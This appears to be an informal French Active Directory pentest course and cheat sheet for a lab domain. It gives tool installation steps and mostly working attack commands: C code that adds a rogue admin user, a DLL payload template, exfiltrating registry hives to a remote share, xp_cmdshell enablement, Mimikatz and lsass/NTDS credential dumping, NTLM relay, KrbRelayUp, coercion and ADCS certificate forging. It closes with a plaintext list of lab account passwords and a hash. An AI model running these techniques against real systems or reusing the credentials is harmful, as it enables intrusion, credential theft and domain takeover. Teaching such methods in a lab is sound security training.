Cours Active Directory du pauvre
Table of Contents
On essaye d’apprendre des trucs ouuuuuuuuuuuuuuuuuuuu
Installation de la caisse à outils
L’ensemble des outils requiert Python3. Si ce dernier n’est pas installé, vous devez le faire pour garantir un fonctionnement sans entraves.
NXC
NXC, un fork agressif de CrackMapExec (CME), est préféré à CME. NetExec, alias NXC, est un outil polyvalent essentiel à maîtriser dans le contexte de cette évaluation de sécurité.
git clone https://github.com/Pennyw0rth/NetExec.git
cd NetExec
python3 -m venv .
source ./bin/activate
pip3 install .
deactivate
Usage:
nxc est présent dans ./bin/nxc
nxc smb 10.10.10.0/24 -u '' -p ''
Impacket
Outils indispensables pour réaliser un test d’intrusion à partir d’un environnement Linux. Il convient de noter que ces outils sont déjà inclus dans NXC. Je réitère cette information au cas où, tout étant déjà incorporé dans ce qui a été précédemment évoqué.
git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m venv .
source ./bin/activate
pip3 install .
deactivate
Usage:
Tu attends la suite du cours.
Bloodhound
Un autre outil indispensable est BloodHound, qui offre la visualisation graphique des éléments de l’Active Directory, permettant ainsi d’identifier et de proposer des scénarios de compromission.
Neo4j
docker pull neo4j
docker run -d --rm -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/CrzTonWifiCestDeLaMerde neo4j
Bloodhound
https://github.com/BloodHoundAD/BloodHound # tu chope la release
unzip BloodHound-linux-x64.zip
cd BloodHound-linux-x64 && ./Bloodhound
Si tu n’as pas docker kado install
Usage:
Ca hack fort ouuuuuuuuuuuuuuuuuuuuuuuuuuuu
Evil-winrm
blabla
gem install evil-winrm # bien ajouter la path de gem à ca $PATH
Usage:
evil-winrm -u user -p password -i ip
Psencoder
Petite auto promo :
Compilation cross OS
Package a installé (Chat GPT édition)
# Debian/Ubuntu
sudo apt-get update
sudo apt-get install mingw-w64
# Fedora
sudo dnf install mingw64-gcc mingw64-gcc-c++ mingw64-winpthreads-static
# openSUSE
sudo zypper install mingw64-gcc mingw64-gcc-c++
# Arch Linux
sudo pacman -S mingw-w64-gcc
# CentOS (Utilisez EPEL pour CentOS)
sudo yum install mingw64-gcc mingw64-gcc-c++
# Alpine Linux
sudo apk add mingw-w64-gcc mingw-w64-g++ mingw-w64-headers
# Void Linux
sudo xbps-install -S mingw-w64-gcc mingw-w64-g++ mingw-w64-headers
Compilation d’un EXE
x86_64-w64-mingw32-gcc -o magie.exe magie.c # 64 bits
i686-w64-mingw32-gcc -o magie.exe magie.c # 32 bits
touch ~/.KlemouWasHere # 128 bits
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
system("net user klemou Sup3rP@ssword /add");
return 0;
}
Compilation d’une DLL
x86_64-w64-mingw32-gcc -shared -o target.dll target.c
i686-w64-mingw32-gcc -shared -o target.dll target.c
#include <windows.h>
void Payload()
{
// magie
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Les projets qui vont bien:
Windows
Shares
smbclient
# Debian/Ubuntu-based systems (using apt)
apt-get update && apt-get install smbclient
# Red Hat/Fedora-based systems (using dnf)
dnf install samba-client
# CentOS (using yum)
yum install samba-client
# Arch Linux (using pacman)
pacman -S smbclient
smbclient -N -L \\\\ip
smbclient -N \\\\ip\\Share
smbclient -U 'User%Password' \\\\ip\\Share
smbclient --pw-nt-hash -U 'user%hash' \\\\ip\\Share
mount
# Debian/Ubuntu-based systems (using apt)
apt-get update && apt-get install cifs-utils
# Red Hat/Fedora-based systems (using dnf)
dnf install cifs-utils
# CentOS (using yum)
yum install cifs-utils
# Arch Linux (using pacman)
pacman -S cifs-utils
# openSUSE (using zypper)
zypper install cifs-utils
mount -t cifs //ip/Name /point/de/montage/
mount -t cifs -o username=crz,password=TonWifiEstNull //ip/Name /point/de/montage/
nxc
nxc smb ip
nxc smb ip -u 'user' -p 'password'
nxc smb ip -u 'user' -H ':CC978D063970FC60FD9DA830D160A229'
windows
net share
net use Z: \\computer_name\share_name
Services
windows
sc query # cmd.exe
Get-Service # powershell.exe
wmic service get # wmic
services.msc # UI
En mode jolie
wmic service get name,displayname,startmode,pathname,startname
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode, StartName
Unquoted service
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode, StartName | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName,StartName
Extraction de mot de passe
Windows
reg save HKLM\SAM "\\ip\SHARE\sam.save"
reg save HKLM\SECURITY "\\ip\SHARE\security.save"
reg save HKLM\SYSTEM "\\ip\SHARE\system.save"
Traitement
secretdump LOCAL -sam sam.save -security security.save -system system.save
MSSQL
Windows
Azure Data Studio
Linux
mssqlclient.py user:password@ip
mssqlclient.py -windows-auth user:password@ip
RCE
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
IIS
WebShell
cmd.aspx:
Privilèges
SeImpersonate
Explication et exploitation:
- https://jlajara.gitlab.io/Potatoes_Windows_Privesc
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
Activation de tout les privilèges
https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
Changement d’utilisateur
$username = "sql_user"
$password = "ee3f628e3b.14501b0b8f"
$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @($username,(ConvertTo-SecureString -String $password -AsPlainText -Force))
Start-Process cmd.exe -WorkingDirectory C:\Windows\Temp -Credential ($credentials)
Gestion des utilisateurs et groupes
net user # list les utilisateurs
net user username password /add # ajout d'un utilisateur
net user username /del # suppresion d'un utilisateur
net localgroup # list des groupes
net localgroup groupename user /add # ajout d'un utilisateur dans un groupe
net localgroup groupename user /del # suppresion d'un utilisateur dans un groupe
Active Directory
Enumération des partages sans mot de passes
Windows
snaffler.exe -s -o snaffler.log
Linux
nxc smb ip/24 -u "a" -p "" --shares
Dump Ldap
Linux
ldapdomaindump -u 'DOMAIN\user' -p 'pass' dc01.domain.local
Bloodhound
Windows
.\SharpHound.exe -c all
Linux
rusthound --domain domain.local -u 'user' -p 'password' -o output -z --fqdn-resolver --name-server dc.domain.local
bloodhound-python -u user -p 'password' -ns 10.10.10.10 -d domain.local -c all
Création d’un compte machine
Linux
# Add a computer account
addcomputer.py -computer-name 'COMPUTER$' -computer-pass 'SomePassword' -dc-host $DomainController -domain-netbios $DOMAIN 'DOMAIN\user:password'
# Modify a computer account password
addcomputer.py -computer-name 'COMPUTER$' -computer-pass 'SomePassword' -dc-host $DomainController -no-add 'DOMAIN\user:password'
# Delete a computer account
addcomputer.py -computer-name 'COMPUTER$' -dc-host $DomainController -delete 'DOMAIN\user:password'
Relais
Linux
ntlmrelayx.py -t "ldaps://dc01.klemou.corp" -smb2support
ntlmrelayx.py -t "ldap://dc01.klemou.corp" -smb2support --escalate-user domainuser
KrbRelayUp
.\KrbRelayUp.exe relay -Domain klemou.corp -CreateNewComputerAccount -Computer evil$ -ComputerPassword evil123
.\KrbRelayUp.exe spawn -m rbcd -d klemou.corp -dc DC02.klemou.corp -cn KRBRELAYUP$ -cp evil123
Dump Lsass
Windows
privilege::debug
token::elevate
sekurlsa::logonpasswords
Linux
nxc smb mssql.klemou.corp -u crz -p '992e71f059.585a7ffa20' -M lsassy
Dump NTDS
Windows
mimikatz #TODO
Linux
secretsdump.py DAuser:password@dc.domain.local -just-dc-user krbtgt
nxc smb dc01.domain.local -u 'DAuser' -p 'password' --ntds --user krbtgt
ADCS
Info sur ADCS
nxc ldap dc.domain.local -u 'user' -p 'password' -M adcs
création de certificats
certipy req -ca 'caName' -u 'user' -p 'password' -target-ip adcs.klemou.corp
Demande de TGT avec un certificat
gettgtpkinit.py -cert-pfx cert.pfx -dc-ip dc.domain.local domain.local/user tgt.ccache
Récupération du hash via un tgt
getnthash.py -k key -dc-ip dc.domain.local domain.local/user
Relai sur le web enrollement de l’ADCS
ntlmrelayx.py -t "http://adcs.domain.local/certsrv/certfnsh.asp" -smb2support --adcs
ntlmrelayx.py -t "http://srv.klemou.corp/certsrv/certfnsh.asp" -smb2support --adcs --template DomainController # pour les DC
Coerce de gros porc
coercer coerce -l ipAttaquant -d domain.local -u user -p pass -t dc.domain.local
Golden Ca
Export ca in ADDS panel
openssl pkcs12 -in EXAMPLE-CA.p12 -out ca.pem
openssl pkcs12 -in ca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
certipy forge -ca-pfx ca.pfx -upn "user@domain" -subject 'CN=user,OU=Users,DC=DOMAIN,DC=TLD' -crl http://adcs.domain.tld/CertEnroll/
Lab
AD
Administrator : fe63693e9e.2e90861a9c
antoine : 099bd3d1c39.c22d1a464
crz : 992e71f059.585a7ffa20
glpi_cnx : a9285936fb.3dfdf6a889
ws_klemou : Qwertyuiop123!
sql_svc : 515aa2db9.749107818e6
hugo : e0eec4062.cbc38dd8f38
sql_mngt : 5486a9646.1b307dcf720
ndes : f77c171f50.001b01ade5
adcs_adm : b2a1349450.64025f1b0e
Local Adm : 4eaf07215.645eb0e68f6
Srv standelone
klemou : 634daa6f9.4519be0b91c #CC978D063970FC60FD9DA830D160A229
sql_user : ee3f628e3b.14501b0b8f
sa : MssqlPasswordFTW123! # compte local a sql
user1 : Esna123$
. .
. .
. .
user30 : Esna123$
plage
10.10.10.10-20 # serveur du domaine
10.10.10.20-30 # machine utilisateur du domaine
10.10.10.50-80 # serveur standelone
10.10.10.150-250 # pc perso